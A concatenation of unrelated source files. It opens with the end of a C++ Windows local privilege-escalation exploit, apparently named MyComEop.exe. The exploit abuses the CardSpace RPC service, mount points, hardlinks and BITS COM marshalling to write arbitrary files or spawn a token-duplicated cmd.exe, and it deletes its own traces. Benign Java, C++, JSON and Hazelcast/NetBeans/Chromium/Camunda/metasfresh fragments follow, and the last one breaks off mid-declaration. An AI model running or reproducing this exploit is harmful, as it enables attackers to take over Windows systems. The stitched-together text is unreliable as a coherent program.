CLSID_BackgroundCopyManager; IID IID_IBackgroundCopyManager; CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager); CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager); HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL, CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr); IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr))); IUnknown * pInner; CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner); IBackgroundCopyJobPtr pJob; GUID guidJob; IEnumBackgroundCopyJobsPtr enumjobs; hr = pQueueMgr->EnumJobs(0, &enumjobs); if (SUCCEEDED(hr)) { IBackgroundCopyJob* currjob; ULONG fetched = 0; while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1)) { LPWSTR lpStr; if (SUCCEEDED(currjob->GetDisplayName(&lpStr))) { if (wcscmp(lpStr, L"BitsAuthSample") == 0) { CoTaskMemFree(lpStr); currjob->Cancel(); currjob->Release(); break; } } currjob->Release(); } } pQueueMgr->CreateJob(L"BitsAuthSample", BG_JOB_TYPE_DOWNLOAD, &guidJob, &pJob); IUnknownPtr pNotify; pNotify.Attach(new CMarshaller(pInner)); { HRESULT hr = pJob->SetNotifyInterface(pNotify); printf("[+]Test Background Intelligent Transfer Service Result: %08X\n", hr); } if (pJob) { pJob->Cancel(); } //printf("[+]Done\n"); SetEvent(hEvent); } BOOL DirectoryListCleanUp(BSTR Path, BSTR ExeName) { if (!PathIsDirectoryW(Path)) { return FALSE; } WIN32_FIND_DATAW FindData; HANDLE hError; BSTR FilePathName = (BSTR)malloc(LEN); // 构造路径 bstr_t FullPathName; wcscpy(FilePathName, Path); wcscat(FilePathName, L"\\*.*"); hError = FindFirstFile(FilePathName, &FindData); if (hError == INVALID_HANDLE_VALUE) { //printf("[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\n", FilePathName, GetLastError(), hError); return 0; } while (::FindNextFile(hError, &FindData)) { // 过虑.和.. if (_wcsicmp(FindData.cFileName, L".") == 0 || _wcsicmp(FindData.cFileName, L"..") == 0) { continue; } FullPathName = bstr_t(Path) + "\\" + FindData.cFileName; // 构造完整路径 if (_wcsicmp(ExeName, FindData.cFileName) != 0) { //printf("%ls\n", FullPathName.GetBSTR()); for (int i = 0; i < 6;i++) { if (_wcsicmp(CleanUpFileList[i], FindData.cFileName) == 0) { DeleteFile(FullPathName); } } } //wsprintf(FullPathName, L"%s\\%s", Path, FindData.cFileName); //FileCount++; // 输出本级的文件 if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { DirectoryListCleanUp(FullPathName, ExeName); } } return FALSE; } extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len) { return(HeapAlloc(GetProcessHeap(), 0, len)); } extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr) { HeapFree(GetProcessHeap(), 0, ptr); } BOOL StartConnectingService() { WCHAR* svcName = L"idsvc"; SC_HANDLE schSCM; SC_HANDLE schSvc; SERVICE_STATUS ServiceStatus; schSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (NULL == schSCM) { printf("Failed OpenSCManager: %d\n", GetLastError()); return FALSE; } schSvc = OpenService(schSCM, svcName, SERVICE_START | SERVICE_QUERY_STATUS); if (NULL == schSvc) { wprintf(L"Failed OpenService %s: %d\n", svcName, GetLastError()); return FALSE; } QueryServiceStatus(schSvc, &ServiceStatus); if (ServiceStatus.dwCurrentState == SERVICE_RUNNING || ServiceStatus.dwCurrentState == SERVICE_PAUSED) { wprintf(L"ServiceStatus Already Started %s: %d\n", svcName, GetLastError()); CloseServiceHandle(schSvc); CloseServiceHandle(schSCM); return TRUE; } if (!StartService(schSvc, 0, NULL)) { wprintf(L"Failed Starting %s: %d\n", svcName, GetLastError()); return FALSE; } CloseServiceHandle(schSvc); CloseServiceHandle(schSCM); Sleep(1000); wprintf(L"ServiceStatus New started %ls: %d\n", svcName, GetLastError()); return TRUE; } BOOL StartRpcService() { RPC_STATUS status; unsigned int cMinCalls = 1; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; if (StartConnectingService()) { status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding); if (status){ printf("RpcStringBindingComposeW Failed:%d\n", status); return(status); } status = RpcBindingFromStringBindingW(StringBinding, &hBinding); RpcStringFreeW(&StringBinding); if (status){ printf("RpcBindingFromStringBindingW Failed:%d\n", status); return(status); } SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (status){ printf("RpcBindingSetAuthInfoExW Failed:%d\n", status); return(status); } status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec); if (status){ printf("RpcEpResolveBinding Failed:%d\n", status); return(status); } } else { printf("Start Connecting Windows Cardspace Service Failed"); return 0; } return 0; } BOOL RunRpcService() { RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32* ctx = 0; long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0_RPCClientBindToService :%d\n", ret); ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret); return 0; } void CreateNewProcess(const wchar_t* session) { try { ShellExecuteW(NULL, NULL, L"C:\\Windows\\System32\\bitsadmin.exe", L"/reset /allusers", NULL, SW_HIDE); } catch (const _com_error& err) { } bstr_t exeDir = GetExeDir(); bstr_t dllPathBak = exeDir + L"\\" + PathFindFileName(g_dllPath) + ".bak"; wcscpy(g_dllPathBak, dllPathBak.GetBSTR()); bstr_t exeName = PathFindFileName(GetExe()); //printf("[+][Info] Restoring BackUp dll Done \n"); CopyFileW(g_dllPathBak, g_dllPath, false); DirectoryListCleanUp(exeDir, exeName); DWORD session_id = wcstoul(session, nullptr, 0); SafeScopedHandle token; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr())) { throw _com_error(E_FAIL); } SafeScopedHandle new_token; if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr())) { throw _com_error(E_FAIL); } SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id)); STARTUPINFO start_info = {}; start_info.cb = sizeof(start_info); start_info.lpDesktop = L"WinSta0\\Default"; PROCESS_INFORMATION proc_info; WCHAR cmdline[] = L"cmd.exe"; if (CreateProcessAsUser(new_token.get(), nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info)) { CloseHandle(proc_info.hProcess); CloseHandle(proc_info.hThread); } } int _tmain(int argc, _TCHAR* argv[]) { try { printf("[+] For Run CMD Directly: MyComEop.exe \n"); printf("[+] For Test File Write : MyComEop.exe \"SourceFile\" \"DestinationFile\" \n"); //system("pause"); BSTR dllPath = L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.EnterpriseServices.tlb"; BSTR if_name = (BSTR)malloc(LEN); BSTR user_name = (BSTR)malloc(LEN); DWORD usernamelen = 100; bstr_t exdir = GetExeDir(); //当前目录下的临时typelib bstr_t target_tlb = exdir + L"\\CardSpace.db"; bstr_t UpdateTaskFile = exdir + L"\\CardSpace.db.atomic"; BSTR CardSpaceOld = (BSTR)malloc(LEN); GetUserNameW(user_name, &usernamelen); StringCbPrintfW(CardSpaceOld, LEN, L"C:\\Users\\%ls\\AppData\\Local\\Microsoft\\CardSpace", user_name); FileSymlink sl(false); HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, 0 ); if (argc < 2) { StartRpcService(); wcscpy(if_name, L" IRegistrationHelper"); CLSIDFromString(L"{55E3EA25-55CB-4650-8887-18E8D30BB4BC}", &IID_InterfaceTemp); CLSIDFromString(L"{4FB2D46F-EFC8-4643-BCD0-6E5BFA6A174C}", &TypeLib_InterfaceTemp); bstr_t script = L"script:" + CreateScriptletFile(); BuildTypeLibs(script, if_name, target_tlb); if (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)) { if (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L"")) { printf("Error creating mount point - %d\n", GetLastError()); return 0; } } else { printf("Error creating directory - %d\n", GetLastError()); return 0; } if (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), dllPath) == false) { printf("[+]CreateNativeHardlink Failed,error: %d\n", GetLastError()); return FALSE; } bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(dllPath) + ".bak"; wcscpy(g_dllPathBak, dllPathBak.GetBSTR()); wcscpy(g_dllPath, dllPath); CopyFileW(dllPath, g_dllPathBak, false); wcscpy(g_cmdline, L"whoami"); RunRpcService(); if (!RemoveDirectory(CardSpaceOld)) { printf("Error deleting mount point %ls\n", GetErrorMessage().c_str()); return 1; } TestBits(hEvent); } else if (argc == 3) { StartRpcService(); CopyFileW(argv[1], target_tlb.GetBSTR(), false); if (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)) { if (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L"")) { printf("Error creating mount point - %d\n", GetLastError()); return 0; } } else { printf("Error creating directory - %d\n", GetLastError()); return 0; } if (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), argv[2]) == false) { printf("[+]CreateNativeHardlink Failed,error: %d\n", GetLastError()); return FALSE; } RunRpcService(); if (!RemoveDirectory(CardSpaceOld)) { printf("Error deleting mount point %ls\n", GetErrorMessage().c_str()); return 1; } printf("[+]RunRpcService Done Check if the Destination File is be written,code: %d\n", GetLastError()); } else { wcscpy(g_dllPath, dllPath); CreateNewProcess(argv[1]); } } catch (const _com_error& err) { printf("Error: %ls\n", err.ErrorMessage()); } CoUninitialize();//释放COM return 0; }
11,258
4,283
/* * Copyright (c) 2008-2021, Hazelcast, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hazelcast.sql.impl.exec.scan; import com.hazelcast.internal.serialization.Data; /** * Iterator over key/value pairs. */ public interface KeyValueIterator { /** * Advances the iterator to the next available record. * <p> * If the method has returned {@code true}, the key and the value could be accessed through * {@link #getKey()} and {@link #getValue()} respectively. * * @return {@code true} if the next record is available, {@code false} if no more records are available */ boolean tryAdvance(); /** * * @return {@code true} if there are no more entries */ boolean done(); Object getKey(); Data getKeyData(); Object getValue(); Data getValueData(); }
428
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.core.windows.view.ui.slides; import java.awt.Component; import java.awt.Image; import java.awt.Point; import java.awt.Rectangle; import java.awt.Shape; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.beans.PropertyChangeListener; import java.util.ArrayList; import java.util.Collections; import java.util.List; import javax.swing.Action; import javax.swing.DefaultSingleSelectionModel; import javax.swing.Icon; import javax.swing.SingleSelectionModel; import javax.swing.event.ChangeListener; import org.netbeans.core.windows.Constants; import org.netbeans.core.windows.ModeImpl; import org.netbeans.core.windows.WindowManagerImpl; import org.netbeans.core.windows.actions.ActionUtils; import org.netbeans.swing.tabcontrol.DefaultTabDataModel; import org.netbeans.core.windows.view.dnd.DragAndDropFeedbackVisualizer; import org.netbeans.swing.tabcontrol.SlideBarDataModel; import org.netbeans.swing.tabcontrol.TabData; import org.netbeans.swing.tabcontrol.TabDataModel; import org.netbeans.swing.tabcontrol.TabbedContainer; import org.netbeans.swing.tabcontrol.customtabs.Tabbed; import org.openide.util.ChangeSupport; import org.openide.util.ImageUtilities; import org.openide.windows.TopComponent; /* * Adapts SlideBar to match Tabbed interface, which is used by TabbedHandler * for talking to component containers. SlideBar is driven indirectly, * through modifications of its model. * * @author <NAME> */ public final class TabbedSlideAdapter extends Tabbed { /** data model of informations about top components in container */ private TabDataModel dataModel; /** selection model which contains selection info in container */ private SingleSelectionModel selModel; /** Visual component for displaying box for sliding windows */ private SlideBar slideBar; /** List of action listeners */ private List<ActionListener> actionListeners; private final ChangeSupport cs = new ChangeSupport(this); private final ModeImpl slidingMode; /** Creates a new instance of SlideBarTabs */ public TabbedSlideAdapter(String side) { dataModel = new SlideBarDataModel.Impl(); setSide(side); selModel = new DefaultSingleSelectionModel(); slideBar = new SlideBar(this, (SlideBarDataModel)dataModel, selModel); slidingMode = findSlidingMode(); } @Override public void requestAttention (TopComponent tc) { slideBar.setBlinking(tc, true); } @Override public void cancelRequestAttention (TopComponent tc) { slideBar.setBlinking(tc, false); } @Override public void makeBusy( TopComponent tc, boolean busy ) { slideBar.makeBusy( tc, busy ); } @Override public boolean isBusy( TopComponent tc ) { return WindowManagerImpl.getInstance().isTopComponentBusy( tc ); } private void setSide (String side) { int orientation = SlideBarDataModel.WEST; if (Constants.LEFT.equals(side)) { orientation = SlideBarDataModel.WEST; } else if (Constants.RIGHT.equals(side)) { orientation = SlideBarDataModel.EAST; } else if (Constants.BOTTOM.equals(side)) { orientation = SlideBarDataModel.SOUTH; } else if (Constants.TOP.equals(side)) { orientation = SlideBarDataModel.NORTH; } ((SlideBarDataModel)dataModel).setOrientation(orientation); } @Override public final synchronized void addActionListener(ActionListener listener) { if (actionListeners == null) { actionListeners = new ArrayList<ActionListener>(); } actionListeners.add(listener); } /** * Remove an action listener. * * @param listener The listener to remove. */ @Override public final synchronized void removeActionListener(ActionListener listener) { if (actionListeners != null) { actionListeners.remove(listener); if (actionListeners.isEmpty()) { actionListeners = null; } } } final void postActionEvent(ActionEvent event) { List<ActionListener> list; synchronized (this) { if (actionListeners == null) return; list = Collections.unmodifiableList(actionListeners); } for (int i = 0; i < list.size(); i++) { list.get(i).actionPerformed(event); } } @Override public void addChangeListener(ChangeListener listener) { cs.addChangeListener(listener); } @Override public void removeChangeListener(ChangeListener listener) { cs.removeChangeListener(listener); } final void postSelectionEvent() { cs.fireChange(); } public void addPropertyChangeListener(String name, PropertyChangeListener listener) { slideBar.addPropertyChangeListener(name, listener); } public void removePropertyChangeListener(String name, PropertyChangeListener listener) { slideBar.removePropertyChangeListener(name, listener); } @Override public void addTopComponent(String name, Icon icon, TopComponent tc, String toolTip) { dataModel.addTab(dataModel.size(), new TabData(tc, icon, name, toolTip)); } @Override public TopComponent getSelectedTopComponent() { int index = selModel.getSelectedIndex(); return index < 0 ? null : (TopComponent)dataModel.getTab(index).getComponent(); } @Override public TopComponent getTopComponentAt(int index) { return (TopComponent)dataModel.getTab(index).getComponent(); } @Override public TopComponent[] getTopComponents() { int size = dataModel.size(); TopComponent[] result = new TopComponent[size]; for (int i=0; i < size; i++) { result[i] = (TopComponent) dataModel.getTab(i).getComponent(); } return result; } @Override public void setActive(boolean active) { slideBar.setActive(active); } @Override public void setIconAt(int index, Icon icon) { dataModel.setIcon(index, icon); } @Override public void setTitleAt(int index, String title) { dataModel.setText(index, title); } @Override public void setToolTipTextAt(int index, String toolTip) { // XXX - not supported yet } @Override public void setTopComponents(TopComponent[] tcs, TopComponent selected) { TabData[] data = new TabData[tcs.length]; int toSelect=-1; for(int i = 0; i < tcs.length; i++) { TopComponent tc = tcs[i]; Image icon = tc.getIcon(); String displayName = WindowManagerImpl.getInstance().getTopComponentDisplayName(tc); data[i] = new TabData( tc, icon == null ? null : ImageUtilities.image2Icon(icon), displayName == null ? "" : displayName, // NOI18N tc.getToolTipText()); if (selected == tcs[i]) { toSelect = i; } } dataModel.setTabs(data); setSelectedComponent(selected); } @Override public int getTabCount() { return dataModel.size(); } @Override public int indexOf(Component tc) { int size = dataModel.size(); for (int i=0; i < size; i++) { if (tc == dataModel.getTab(i).getComponent()) return i; } return -1; } @Override public void insertComponent(String name, Icon icon, Component comp, String toolTip, int position) { dataModel.addTab(position, new TabData(comp, icon, name, toolTip)); } @Override public void removeComponent(Component comp) { int i = indexOf(comp); dataModel.removeTab(i); } @Override public void setSelectedComponent(Component comp) { int newIndex = indexOf(comp); if (selModel.getSelectedIndex() != newIndex) { selModel.setSelectedIndex(newIndex); } if (comp instanceof TopComponent) { //Inelegant to do this here, but it guarantees blinking stops TopComponent tc = (TopComponent) comp; tc.cancelRequestAttention(); } } @Override public int tabForCoordinate(Point p) { return slideBar.tabForCoordinate(p.x, p.y); } @Override public Component getComponent() { return slideBar; } /*************** No DnD support yet **************/ @Override public Object getConstraintForLocation(Point location, boolean attachingPossible) { int tab = slideBar.nextTabForCoordinate(location.x, location.y); return Integer.valueOf(tab); } @Override public Shape getIndicationForLocation(Point location, TopComponent startingTransfer, Point startingPoint, boolean attachingPossible) { // int tab = tabForCoordinate(location); int nextTab = slideBar.nextTabForCoordinate(location.x, location.y); SlideBarDataModel sbdm = (SlideBarDataModel)dataModel; if (getTabCount() != 0) { if (nextTab == 0) { Rectangle rect = getTabBounds(0); if (isHorizontal()) { rect.x = 0; rect.width = rect.width / 2; } else { rect.y = 0; rect.height = rect.height / 2; } return rect; } else if (nextTab < getTabCount()) { Rectangle rect1 = getTabBounds(nextTab - 1); Rectangle rect2 = getTabBounds(nextTab); Rectangle result = new Rectangle(); if (isHorizontal()) { result.y = rect1.y; result.height = rect1.height; result.x = rect1.x + (rect1.width / 2); result.width = rect2.x + (rect2.width / 2) - result.x; } else { result.x = rect1.x; result.width = rect1.width; result.y = rect1.y + (rect1.height / 2); result.height = rect2.y + (rect2.height / 2) - result.y; } return result; } else if (nextTab == getTabCount()) { Rectangle rect = getTabBounds(getTabCount() - 1); if (isHorizontal()) { rect.x = rect.x + rect.width; } else { rect.y = rect.y + rect.height; } return rect; } } if (isHorizontal()) { return new Rectangle(10, 0, 50, 20); } return new Rectangle(0, 10, 20, 50); } @Override public Image createImageOfTab(int tabIndex) { TabData dt = slideBar.getModel().getTab(tabIndex); if (dt.getComponent() instanceof TopComponent) { DefaultTabDataModel tempModel = new DefaultTabDataModel( new TabData[] { dt } ); TabbedContainer temp = new TabbedContainer( tempModel, TabbedContainer.TYPE_VIEW ); temp.setSize( 300,300 ); return temp.createImageOfTab(0); } return null; } public DragAndDropFeedbackVisualizer getDragAndDropFeedbackVisualizer( int tabIndex ) { slideBar.getSelectionModel().setSelectedIndex(tabIndex); return new DragAndDropFeedbackVisualizer( this, tabIndex ); // TabData dt = slideBar.getModel().getTab(tabIndex); // if (dt.getComponent() instanceof TopComponent) { // DefaultTabDataModel tempModel = new DefaultTabDataModel( new TabData[] { dt } ); // TabbedContainer temp = new TabbedContainer( tempModel, TabbedContainer.TYPE_VIEW ); //JWindow w = new JWindow(); //w.setBounds(-2000, -2000, 300, 300); //w.getContentPane().add( temp ); //w.setVisible(true); ////temp.setSize( 300,300 ); ////temp.setLocation( -10000,-10000); ////temp.setVisible(true); ////temp.invalidate(); ////temp.revalidate(); ////temp.repaint(); //// temp.updateUI(); ////temp.getSelectionModel().setSelectedIndex(0); // // Window drag = temp.createDragWindow(0); //// w.dispose(); //return drag; // } // // return null; } /** Add action for disabling slide */ @Override public Action[] getPopupActions(Action[] defaultActions, int tabIndex) { boolean isMDI = WindowManagerImpl.getInstance().getEditorAreaState() == Constants.EDITOR_AREA_JOINED; Action[] result = new Action[defaultActions.length + (isMDI ? 1 : 0)]; System.arraycopy(defaultActions, 0, result, 0, defaultActions.length); if (isMDI) { result[defaultActions.length] = new ActionUtils.ToggleWindowTransparencyAction(slideBar, tabIndex, slideBar.isSlidedTabTransparent() && tabIndex == slideBar.getSelectionModel().getSelectedIndex()); } return result; } @Override public Rectangle getTabBounds(int tabIndex) { return slideBar.getTabBounds(tabIndex); } @Override public boolean isTransparent() { return false; } @Override public void setTransparent(boolean transparent) { throw new UnsupportedOperationException("Not supported yet."); } @Override public Rectangle getTabsArea() { Rectangle res = slideBar.getBounds(); res.setLocation( 0, 0 ); return res; } final ModeImpl getSlidingMode() { return slidingMode; } private ModeImpl findSlidingMode() { String modeName; switch( ((SlideBarDataModel)dataModel).getOrientation() ) { case SlideBarDataModel.EAST: modeName = "rightSlidingSide"; //NOI18N break; case SlideBarDataModel.SOUTH: modeName = "bottomSlidingSide"; //NOI18N break; case SlideBarDataModel.NORTH: modeName = "topSlidingSide"; //NOI18N break; case SlideBarDataModel.WEST: default: modeName = "leftSlidingSide"; //NOI18N } return ( ModeImpl ) WindowManagerImpl.getInstance().findMode( modeName ); } final boolean isHorizontal() { return ((SlideBarDataModel)dataModel).getOrientation() == SlideBarDataModel.SOUTH || ((SlideBarDataModel)dataModel).getOrientation() == SlideBarDataModel.NORTH; } }
6,575
14,668
<reponame>chromium/chromium // Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_UI_WEBUI_EXPLORE_SITES_INTERNALS_EXPLORE_SITES_INTERNALS_UI_H_ #define CHROME_BROWSER_UI_WEBUI_EXPLORE_SITES_INTERNALS_EXPLORE_SITES_INTERNALS_UI_H_ #include <memory> #include "base/memory/raw_ptr.h" #include "chrome/browser/ui/webui/explore_sites_internals/explore_sites_internals.mojom-forward.h" #include "chrome/browser/ui/webui/explore_sites_internals/explore_sites_internals_page_handler.h" #include "mojo/public/cpp/bindings/pending_receiver.h" #include "ui/webui/mojo_web_ui_controller.h" namespace explore_sites { // UI controller for chrome://explore-sites-internals, hooks up a concrete // implementation of explore_sites_internals::mojom::PageHandler to requests for // that page handler that will come from the frontend. class ExploreSitesInternalsUI : public ui::MojoWebUIController { public: explicit ExploreSitesInternalsUI(content::WebUI* web_ui); ExploreSitesInternalsUI(const ExploreSitesInternalsUI&) = delete; ExploreSitesInternalsUI& operator=(const ExploreSitesInternalsUI&) = delete; ~ExploreSitesInternalsUI() override; // Instantiates the implementor of the mojom::PageHandler mojo // interface passing the pending receiver that will be internally bound. void BindInterface( mojo::PendingReceiver<explore_sites_internals::mojom::PageHandler> receiver); private: std::unique_ptr<ExploreSitesInternalsPageHandler> page_handler_; raw_ptr<ExploreSitesService> explore_sites_service_; WEB_UI_CONTROLLER_TYPE_DECL(); }; } // namespace explore_sites #endif // CHROME_BROWSER_UI_WEBUI_EXPLORE_SITES_INTERNALS_EXPLORE_SITES_INTERNALS_UI_H_
637
403
package org.camunda.example.insuranceapplication.rabbitconnector.rabbit; import java.util.UUID; import org.camunda.example.insuranceapplication.rabbitconnector.dto.Message; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Component; import org.springframework.web.client.RestTemplate; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.JsonMappingException; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; @Component public class EventConsumer { private Logger logger = LoggerFactory.getLogger(EventConsumer.class); public void receive(String messageString) throws JsonMappingException, JsonProcessingException { logger.info("Received message '{}'", messageString); ObjectMapper mapper = new ObjectMapper(); mapper.registerModule(new JavaTimeModule()); Message message = mapper.readValue(messageString, Message.class); //send to optimize RestTemplate restTemplate = new RestTemplate(); final HttpHeaders headers = new HttpHeaders(); headers.set("Authorization", "mytoken"); headers.set("Content-Type", "application/json"); //Create a new HttpEntity ObjectMapper objectMapper = new ObjectMapper(); JsonNode application = objectMapper.readTree((String) message.getData()); String traceid = application.get("traceid").asText(); ObjectNode optimizeEvent = objectMapper.createObjectNode(); UUID uuid = UUID.randomUUID(); optimizeEvent.put("id", uuid.toString()); optimizeEvent.put("source", "rabbit"); optimizeEvent.put("group", "application"); optimizeEvent.put("specversion", "1.0"); optimizeEvent.put("traceid", traceid); optimizeEvent.put("type", message.getEventName()); optimizeEvent.put("time", message.getTime().toString()+("Z")); ArrayNode myArray = objectMapper.createArrayNode(); myArray.add(optimizeEvent); final HttpEntity<String> entity = new HttpEntity<String>(myArray.toString(), headers); restTemplate.postForEntity( "http://optimize:8090/api/ingestion/event/batch", entity, String.class, headers); } }
1,010
5,169
<reponame>Gantios/Specs<gh_stars>1000+ { "name": "RealmStorage", "version": "1.0.4", "summary": "RealmStorage", "description": "Modern wrapper for Realm Database [iOS, macOS, tvOS & watchOS]", "homepage": "https://github.com/AndrewKochulab/RealmStorage", "license": { "type": "MIT", "file": "LICENSE" }, "authors": "<NAME>", "source": { "git": "https://github.com/AndrewKochulab/RealmStorage.git", "tag": "1.0.4" }, "social_media_url": "https://github.com/AndrewKochulab", "platforms": { "ios": "9.0" }, "cocoapods_version": ">= 1.4.0", "swift_versions": "5.2", "requires_arc": true, "dependencies": { "Realm": [ ], "RealmSwift": [ ], "Sourcery": [ ], "KeychainSwift": [ ] }, "source_files": "Sources/RealmStorage/**/*.{swift, h}", "preserve_paths": [ "Sources/RealmStorage/PredicateFlow/Core/Templates", "Sources/RealmStorage/PredicateFlow/Core/Classes/Utils" ], "swift_version": "5.2" }
438
1,144
<reponame>gokhanForesight/metasfresh package de.metas.adempiere.callout; /* * #%L * de.metas.swat.base * %% * Copyright (C) 2015 metas GmbH * %% * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as * published by the Free Software Foundation, either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-2.0.html>. * #L% */ import com.google.common.annotations.VisibleForTesting; import de.metas.adempiere.form.IClientUI; import de.metas.bpartner.BPartnerContactId; import de.metas.bpartner.BPartnerId; import de.metas.bpartner.BPartnerLocationAndCaptureId; import de.metas.bpartner.service.IBPartnerDAO; import de.metas.bpartner_product.IBPartnerProductBL; import de.metas.document.location.DocumentLocation; import de.metas.freighcost.FreightCostRule; import de.metas.interfaces.I_C_OrderLine; import de.metas.logging.LogManager; import de.metas.order.IOrderBL; import de.metas.order.IOrderLineBL; import de.metas.order.OrderFreightCostsService; import de.metas.order.OrderLinePriceUpdateRequest; import de.metas.order.OrderLinePriceUpdateRequest.ResultUOM; import de.metas.order.location.adapter.OrderLineDocumentLocationAdapterFactory; import de.metas.product.IProductBL; import de.metas.product.IProductDAO; import de.metas.product.ProductId; import de.metas.shipping.ShipperId; import de.metas.uom.UomId; import de.metas.util.Check; import de.metas.util.Services; import org.adempiere.ad.callout.api.ICalloutField; import org.adempiere.ad.callout.api.ICalloutRecord; import org.adempiere.model.InterfaceWrapperHelper; import org.compiere.Adempiere; import org.compiere.apps.search.IGridTabRowBuilder; import org.compiere.apps.search.IInfoWindowGridRowBuilders; import org.compiere.apps.search.NullInfoWindowGridRowBuilders; import org.compiere.apps.search.impl.InfoWindowGridRowBuilders; import org.compiere.model.CalloutEngine; import org.compiere.model.GridTab; import org.compiere.model.I_C_Order; import org.compiere.model.I_M_Product; import org.compiere.model.X_M_Product; import org.compiere.util.Env; import org.slf4j.Logger; import java.math.BigDecimal; import java.util.Properties; import java.util.Set; import java.util.function.Consumer; import static org.compiere.model.I_C_Order.COLUMNNAME_C_BPartner_ID; import static org.compiere.model.I_C_Order.COLUMNNAME_M_Shipper_ID; /** * This callout's default behavior is determined by {@link ProductQtyOrderFastInputHandler}. To change the behavior, explicitly add further handlers using * {@link #addOrderFastInputHandler(IOrderFastInputHandler)}. These will take precedence over the default handler. * <p> * Also see * <ul> * <li>{@link C_OrderFastInputTabCallout}: this tabcallout makes sure that the quick-input fields are empty (and not "0"!) when a new order record is created (task 09232). * </ul> * * @author ts * @see "<a href='http://dewiki908/mediawiki/index.php/Geschwindigkeit_Erfassung_%282009_0027_G131%29'>(2009 0027 G131)</a>" */ public class 